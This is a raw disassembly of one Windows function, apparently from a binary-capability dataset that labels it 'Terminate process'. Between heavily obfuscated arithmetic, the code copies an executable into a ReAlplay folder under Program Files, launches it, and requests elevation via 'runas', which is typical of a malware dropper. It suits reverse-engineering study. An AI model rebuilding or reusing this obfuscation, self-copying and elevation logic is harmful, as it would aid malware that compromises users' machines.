Function at 0x402250
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a2cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14b8
call fcn.00430340
mov eax, dword [0x45e640]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x45ccd4]
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], 0
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [0x45cccc]
mov eax, 0x4f576647
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x38e38e39
imul esi
mov eax, dword [0x45cce8]
sar edx, 7
imul eax, eax, 0x21e
mov esi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x203
shr esi, 0x1f
add esi, ebx
add esi, eax
add esi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
mov dword [0x45ccc4], esi
mov dword [ebp - 4], 0
call fcn.00430307
mov ecx, dword [0x45ccd4]
mov dword [ebp - 0xfb4], eax
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov edi, edx
add esp, 4
shr edi, 0x1f
mov ecx, dword [0x45cce0]
mov eax, dword [0x45cce4]
imul ecx, ecx, 0x203
add esi, edx
imul eax, eax, 0xe1
mov edx, dword [0x45cce8]
imul edx, edx, 0x21e
add edi, esi
add edi, ecx
mov ecx, dword [0x45cccc]
sub edi, edx
add edi, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov edx, dword [0x45ccc4]
add ecx, edi
sub ecx, edx
add ecx, 0x16f
mov dword [0x45cccc], ecx
call fcn.00447855
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfc4]
call fcn.004021a0
mov ecx, dword [ebp - 0xfc4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402400
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402413
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x4035ac
mov esi, dword [0x45ccc4]
mov eax, dword [0x45ccd8]
mov ecx, dword [0x45ccdc]
lea edi, [eax + esi]
mov eax, 0x38e38e39
imul edi, edi, 0x242
imul ecx
sar edx, 7
mov ebx, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x203
shr ebx, 0x1f
add ebx, edi
add ebx, edx
lea eax, [esi + esi*8]
shl eax, 6
add ebx, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
push 0x4590e8
add ecx, edx
mov edx, dword [0x45cce0]
push 0x100
sub ebx, ecx
lea ecx, [ebp - 0x214]
push ecx
push 0x44ce59
push str.RAND
lea eax, [ebx + edx - 0xe1]
push str.AAAAA
mov dword [0x45ccd4], eax
call dword [0x44c2d0]
mov esi, dword [0x45ccd4]
mov ecx, dword [0x45cccc]
mov eax, 0x4f576647
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x38e38e39
imul esi
mov eax, dword [0x45cce8]
sar edx, 7
imul eax, eax, 0x21e
add ebx, edx
mov esi, edx
mov edx, ecx
imul edx, edx, 0x203
shr esi, 0x1f
add esi, ebx
add esi, eax
add esi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [ebp - 0x214]
mov dword [0x45ccc4], esi
push ecx
call fcn.00430302
add esp, 4
test eax, eax
jle 0x402563
lea edx, [ebp - 0x214]
push edx
call fcn.00430302
add esp, 4
mov dword [ebp - 0xfb4], eax
mov ecx, dword [0x45ccd4]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [0x45cce4]
mov edi, dword [0x45cce8]
mov ebx, dword [0x45cce0]
imul edi, edi, 0x21e
mov ecx, esi
imul ebx, ebx, 0x203
imul ecx, ecx, 0xe1
add eax, ecx
mov ecx, dword [0x45cccc]
mov dword [ebp - 0xfac], eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xfac]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, edi
mov dword [ebp - 0xfc0], edi
mov edi, dword [0x45ccc4]
sub eax, edi
lea ecx, [eax + ebx + 0x16f]
mov eax, dword [ebp - 0xfb4]
mov dword [0x45cccc], ecx
cdq
mov ecx, 0x190
idiv ecx
mov dword [ebp - 0xfa8], ebx
mov ebx, edx
and edx, 0x80000001
jns 0x40261c
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
jne 0x4027c5
mov eax, 0x4f576647
imul esi
mov eax, dword [0x45ccd0]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cccc]
add eax, edx
mov edx, dword [0x45cce0]
imul eax, eax, 0x1bd
imul edx, edx, 0x25d
add eax, edx
mov dword [ebp - 0xfac], eax
mov eax, 0x38e38e39
imul esi
mov esi, dword [ebp - 0xfac]
sar edx, 7
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0xfac], eax
mov esi, dword [0x45ccdc]
mov eax, 0x71625345
imul esi, esi, 0xe1
imul dword [0x45cccc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfac]
sub edx, eax
add edx, ecx
add esi, edx
mov edx, dword [0x45ccc8]
lea eax, [edi + edi*8]
shl eax, 6
mov dword [ebp - 0xfb4], eax
mov eax, dword [0x45ccd4]
add eax, edx
imul eax, eax, 0x9c
mov dword [ebp - 0xfb0], eax
mov dword [ebp - 0xfb8], ecx
mov eax, 0x38e38e39
imul dword [0x45ccd8]
mov eax, dword [ebp - 0xfb0]
sar edx, 7
lea ecx, [ebx - 1]
mov dword [ebp - 0xfac], ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, dword [0x45ccd8]
mov dword [ebp - 0xfb0], eax
mov eax, 0x93459be7
imul dword [0x45ccd8]
add edx, ecx
mov ecx, dword [ebp - 0xfb0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x59493e15
imul edi
mov eax, ecx
sar edx, 7
mov ecx, edx
add eax, edx
mov edx, dword [ebp - 0xfb4]
shr ecx, 0x1f
add ecx, eax
sub ecx, dword [ebp - 0xfb8]
add ecx, edx
mov dword [0x45ccdc], esi
mov dword [0x45cce4], ecx
lea edx, [ebx + 1]
mov eax, dword [0x45ccd8]
add edi, eax
mov dword [ebp - 0xfb8], edx
imul edi, edi, 0x242
mov eax, 0x38e38e39
imul esi
sar edx, 7
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, esi
imul edx, edx, 0x203
add eax, edx
mov edi, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub edi, eax
add edi, dword [ebp - 0xfb4]
lea edi, [edi + edx - 0xe1]
lea eax, [ebx + 3]
mov dword [0x45ccd4], edi
mov dword [ebp - 0xfb0], eax
jmp 0x4028e9
mov esi, dword [0x45ccc8]
mov ecx, dword [0x45ccd4]
lea eax, [esi + ecx]
imul esi, esi, 0xe1
imul eax, eax, 0x9c
mov ecx, eax
mov eax, 0x4f576647
imul dword [0x45cce4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x38e38e39
imul dword [0x45ccd8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea edx, [edi + edi*8]
shl edx, 6
add ecx, edx
mov eax, 0x93459be7
imul dword [0x45ccd8]
add edx, dword [0x45ccd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x59493e15
imul edi
mov edi, dword [0x45ccd0]
sar edx, 7
mov eax, ecx
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0xd8a5df
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb0], eax
mov eax, 0x7f411e53
imul edi
mov eax, dword [ebp - 0xfb0]
sar edx, 8
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x71625345
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, esi
mov esi, dword [0x45ccd0]
mov eax, 0x91a2b3c5
imul esi
add edx, esi
sar edx, 7
add edi, edx
mov eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x61
shr eax, 0x1f
add eax, edi
add eax, edx
mov dword [0x45cce4], ecx
mov dword [ebp - 0xfac], ebx
mov dword [0x45ccc8], eax
mov esi, dword [0x45ccdc]
mov edi, dword [0x45ccd4]
lea eax, [ebx + 2]
lea edx, [ebx + 4]
mov dword [ebp - 0xfb8], eax
mov dword [ebp - 0xfb0], edx
mov eax, 0x38e38e39
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb4], eax
mov eax, 0x4f576647
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfbc], eax
mov eax, 0x4f576647
imul dword [0x45cccc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [ebp - 0xfbc]
sub edi, eax
mov edx, esi
imul edx, edx, 0x242
add edi, edx
mov edx, dword [0x45cccc]
mov eax, edx
imul eax, eax, 0x203
add edi, eax
mov eax, 0x93459be7
imul edx
add edx, dword [0x45cccc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfc0]
sub edi, eax
mov eax, dword [ebp - 0xfb4]
add edi, edx
mov edx, dword [ebp - 0xfb8]
add edi, eax
mov eax, 0x190
cmp edx, eax
mov dword [0x45ccc4], edi
jl 0x4029fb
mov eax, 0x71625345
imul dword [0x45ccd4]
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, ecx
imul edx, edx, 0xe1
add edi, edx
mov eax, 0xd20d20d3
imul dword [0x45cccc]
add edx, dword [0x45cccc]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0xfc0]
add eax, edi
mov edi, dword [0x45ccc4]
sub eax, edx
mov edx, dword [ebp - 0xfa8]
sub eax, edi
add eax, edx
mov edx, dword [ebp - 0xfb4]
lea eax, [eax + edx + 0x16f]
dec ebx
mov dword [0x45cccc], eax
mov dword [ebp - 0xfb8], ebx
mov eax, dword [0x45ccc8]
mov edi, dword [0x45cce8]
lea ebx, [eax + eax*8]
mov eax, 0xf1d48bd
imul edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
shl ebx, 6
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x7f411e53
imul edi
imul edi, edi, 0xe1
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, edi
mov edi, dword [0x45cce0]
mov eax, 0xd20d20d3
imul edi
add edx, edi
sar edx, 7
add ebx, edx
mov eax, edx
mov edx, edi
imul edx, edx, 0x9c
shr eax, 0x1f
add eax, ebx
mov ebx, dword [ebp - 0xfb4]
add eax, edx
mov edx, dword [ebp - 0xfb0]
sub eax, ebx
mov dword [0x45ccd8], eax
mov eax, 0x190
cmp edx, eax
jl 0x402ae6
mov eax, dword [0x45ccd0]
imul edi, edi, 0x25d
imul esi, esi, 0xe1
mov edx, dword [0x45cccc]
lea ebx, [eax + edx]
mov eax, 0x4f576647
imul ebx, ebx, 0x1bd
imul ecx
sar edx, 8
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov ebx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 7
add ebx, edx
mov ecx, edx
mov eax, 0x71625345
imul dword [0x45cccc]
sar edx, 8
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
sub ecx, eax
add ecx, esi
mov dword [0x45ccdc], ecx
push 0
push str.c:program_filesReAlplay
call dword [0x44c2d4]
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov edi, edx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
imul ecx, ecx, 0x61
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
mov dword [0x45ccc8], eax
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
lea edi, [eax + 0x4592e8]
push edi
lea edx, [ebp - 0x114]
push str.c:program_filesReAlplay_s
push edx
mov dword [ebp - 0xfbc], edi
call fcn.0042fcd1
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea ebx, [ecx + eax]
mov ecx, dword [0x45cce4]
imul ebx, ebx, 0x9c
mov eax, 0x4f576647
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, dword [0x45ccc4]
sub ebx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [esi + esi*8]
shl edx, 6
add ebx, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add esp, 0xc
add eax, edx
sub ebx, eax
mov eax, 0x59493e15
imul esi
sar edx, 7
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
push 0
lea edx, [ebp - 0x114]
add ecx, ebx
push edx
mov dword [0x45cce4], ecx
call dword [0x44c2d4]
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov ebx, edx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
add ebx, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
sar edx, 7
imul ecx, ecx, 0x61
mov eax, edx
add ebx, edx
mov edx, dword [ebp - 0xfb8]
imul edx, edx, 0x25
shr eax, 0x1f
add eax, ebx
add edx, 0x4592e8
push edx
add eax, ecx
push edi
mov dword [0x45ccc8], eax
lea eax, [ebp - 0x114]
push str.c:program_filesReAlplay_s_s.exe
push eax
call fcn.0042fcd1
mov esi, dword [0x45cce8]
mov eax, 0x38e38e39
imul dword [0x45ccd4]
mov eax, dword [0x45ccc8]
sar edx, 7
mov ecx, edx
lea edi, [eax + eax*8]
shr ecx, 0x1f
add ecx, edx
mov eax, 0xf1d48bd
imul esi
sar edx, 5
shl edi, 6
mov ebx, edx
add edi, edx
mov eax, 0x7f411e53
imul esi
shr ebx, 0x1f
add esp, 0x10
add ebx, edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x45cce0]
sub ebx, eax
mov edx, esi
imul esi, esi, 0x21e
imul edx, edx, 0xe1
sub ebx, edx
mov eax, 0xd20d20d3
imul edi
add edx, edi
imul edi, edi, 0x9c
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
sub eax, ecx
mov dword [0x45ccd8], eax
mov edi, dword [0x45cccc]
mov eax, 0x4f576647
imul dword [0x45ccd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4f576647
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
sub eax, ebx
add eax, edx
mov edx, edi
imul edx, edx, 0x203
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x93459be7
imul edi
add edx, edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
push 0x100
lea ecx, [ebp - 0x214]
push ecx
push 0
mov dword [ebp - 0xfac], 0
mov dword [0x45ccc4], ebx
call dword [0x44c2d8]
push 0x100
lea edx, [ebp - 0x214]
push 0x8000
push edx
call fcn.0043cb6b
mov ecx, dword [0x45ccd4]
mov esi, eax
mov eax, 0x71625345
imul ecx
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add esp, 0xc
add eax, edi
mov ebx, dword [0x45cce0]
mov edx, dword [0x45cce8]
mov ecx, ebx
imul edx, edx, 0x21e
imul ecx, ecx, 0x203
add eax, ecx
mov ecx, dword [0x45cce4]
imul ecx, ecx, 0xe1
sub eax, edx
add eax, ecx
mov ecx, dword [0x45cccc]
mov edi, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x45ccc4]
sub ecx, edi
add ecx, 0x16f
cmp esi, 0xffffffff
mov dword [0x45cccc], ecx
je 0x403151
mov edx, dword [0x45ccd8]
lea ecx, [edx + edi]
mov eax, 0x38e38e39
imul ecx, ecx, 0x242
imul dword [0x45ccdc]
sar edx, 7
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45ccdc]
mov edx, ecx
imul edx, edx, 0x203
add eax, edx
lea edx, [edi + edi*8]
shl edx, 6
add eax, edx
mov dword [ebp - 0xfa8], eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xfa8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x100000
sub ecx, eax
lea ecx, [ecx + ebx - 0xe1]
push 0x45f5c0
push esi
mov dword [0x45ccd4], ecx
call fcn.0043b788
mov edi, eax
push esi
mov dword [ebp - 0xfa8], edi
call fcn.0043b924
mov ecx, dword [0x45cccc]
add esp, 0x10
cmp edi, 0x2800
jle 0x403151
mov edx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [edx + ecx]
mov eax, 0x4f576647
imul edi, edi, 0x1bd
imul esi
mov eax, dword [0x45cce0]
sar edx, 8
imul eax, eax, 0x25d
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x38e38e39
imul esi
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0x71625345
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xe1
shr esi, 0x1f
add esi, ebx
sub esi, ecx
add esi, edx
push 0
mov dword [0x45ccdc], esi
call fcn.00430307
push eax
push 0x44cb00
push 0x45f8c0
call fcn.0042fcd1
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.0043cb6b
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x403002
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402fc3
sub eax, edx
lea ecx, [ebp + eax - 0x118]
push str.s.exe
push ecx
call fcn.0042fcd1
push 0x180
lea edx, [ebp - 0x114]
push 0x8302
push edx
call fcn.0043cb6b
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x40314b
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea ebx, [ecx + eax]
mov ecx, dword [0x45cce4]
imul ebx, ebx, 0x9c
mov eax, 0x4f576647
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x45ccc4]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [edi + edi*8]
shl edx, 6
add ebx, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x59493e15
imul edi
sar edx, 7
mov ecx, edx
add ebx, edx
mov edx, dword [ebp - 0xfa8]
push edx
shr ecx, 0x1f
add ecx, ebx
push 0x45f5c0
push esi
mov dword [0x45cce4], ecx
call fcn.004391b8
push 2
push 0
push esi
call fcn.00438f3f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov ebx, edx
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
add ebx, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
imul ecx, ecx, 0x61
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [ebp - 0xfb8]
add eax, ebx
add eax, ecx
mov dword [0x45ccc8], eax
push edx
lea eax, [ebp - 0xe14]
push eax
push esi
call fcn.004391b8
push esi
call fcn.0043b924
add esp, 0x28
mov dword [ebp - 0xfac], 1
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccdc]
mov ebx, dword [0x45ccd8]
mov eax, 0x4f576647
imul ebx, ebx, 0x33a
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x242
sub ebx, eax
add ebx, edx
mov edx, dword [0x45ccd0]
mov eax, 0x59493e15
imul edx
mov edi, dword [0x45cce8]
sar edx, 7
imul edi, edi, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x91a2b3c5
imul dword [0x45ccd8]
add edx, dword [0x45ccd8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x45cce4]
add eax, ebx
sub eax, edx
lea edx, [eax + edi - 0xe1]
cmp dword [ebp - 0xfac], 1
mov dword [0x45ccd0], edx
jne 0x40359d
mov eax, 0x4f576647
imul esi, esi, 0x242
imul dword [0x45ccd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, esi
mov ebx, eax
mov eax, 0x38e38e39
imul dword [0x45ccd4]
sar edx, 7
mov esi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x203
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x114]
push ecx
sub esi, eax
lea edx, [ebp - 0x214]
push str._s__33201_
add esi, edi
push edx
mov dword [0x45ccc4], esi
call fcn.0042fcd1
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1008]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45ccd4]
mov edi, dword [0x45cce0]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45cce8]
sar edx, 7
imul ecx, ecx, 0x21e
add esi, edx
mov ebx, edx
mov edx, dword [0x45cce4]
mov eax, edi
imul edx, edx, 0xe1
imul eax, eax, 0x203
shr ebx, 0x1f
add ebx, esi
add ebx, eax
sub ebx, ecx
mov ecx, dword [0x45cccc]
add ebx, edx
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
add esp, 0xc
mov dword [ebp - 0x1008], 0x44
shr eax, 0x1f
mov ecx, dword [0x45ccc4]
mov esi, dword [0x45ccdc]
add ebx, edx
mov edx, dword [0x45ccd8]
add eax, ebx
sub eax, ecx
add eax, 0x16f
mov dword [0x45cccc], eax
lea ebx, [edx + ecx]
mov eax, 0x38e38e39
imul ebx, ebx, 0x242
imul esi
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
mov edx, esi
imul edx, edx, 0x203
add eax, ebx
add eax, edx
lea ecx, [ecx + ecx*8]
shl ecx, 6
add eax, ecx
mov ebx, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebp - 0x1018]
push edx
lea eax, [ebp - 0x1008]
push eax
push 0
push 0
push 0x20
push 0
push 0
lea ecx, [ebx + edi - 0xe1]
mov dword [0x45ccd4], ecx
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0
mov dword [ebp - 0xfdc], 1
mov word [ebp - 0xfd8], 5
call dword [0x44c2dc]
test eax, eax
je 0x40342b
mov ecx, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [edx + ecx]
mov eax, 0x4f576647
imul edi, edi, 0x1bd
imul esi
mov eax, dword [0x45cce0]
sar edx, 8
imul eax, eax, 0x25d
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x38e38e39
imul esi
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0x71625345
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xe1
shr esi, 0x1f
add esi, ebx
sub esi, ecx
add esi, edx
push 0
mov dword [0x45ccdc], esi
call fcn.0043023a
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea edi, [ecx + eax]
mov ecx, dword [0x45cce4]
imul edi, edi, 0x9c
mov eax, 0x4f576647
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x45ccc4]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea edx, [esi + esi*8]
shl edx, 6
add edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul esi
sar edx, 7
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfbc]
push edx
shr ecx, 0x1f
lea eax, [ebp - 0x114]
add ecx, edi
push str.C:Program_Files_s
push eax
mov dword [0x45cce4], ecx
call fcn.0042fcd1
add esp, 0xc
push 1
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push str.runas
push 0
call dword [0x44c374]
cmp eax, 0x20
jg 0x40433a
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov edi, edx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, edx
mov eax, 0x91a2b3c5
imul ecx
push 0
push 0
add edx, ecx
mov ecx, dword [0x45cce0]
push 0
imul ecx, ecx, 0x61
push 0
sar edx, 7
push 0x4591e8
mov eax, edx
shr eax, 0x1f
push 0x45ccbc
add edi, edx
add eax, edi
push 0
add eax, ecx
push 0
mov dword [0x45ccc8], eax
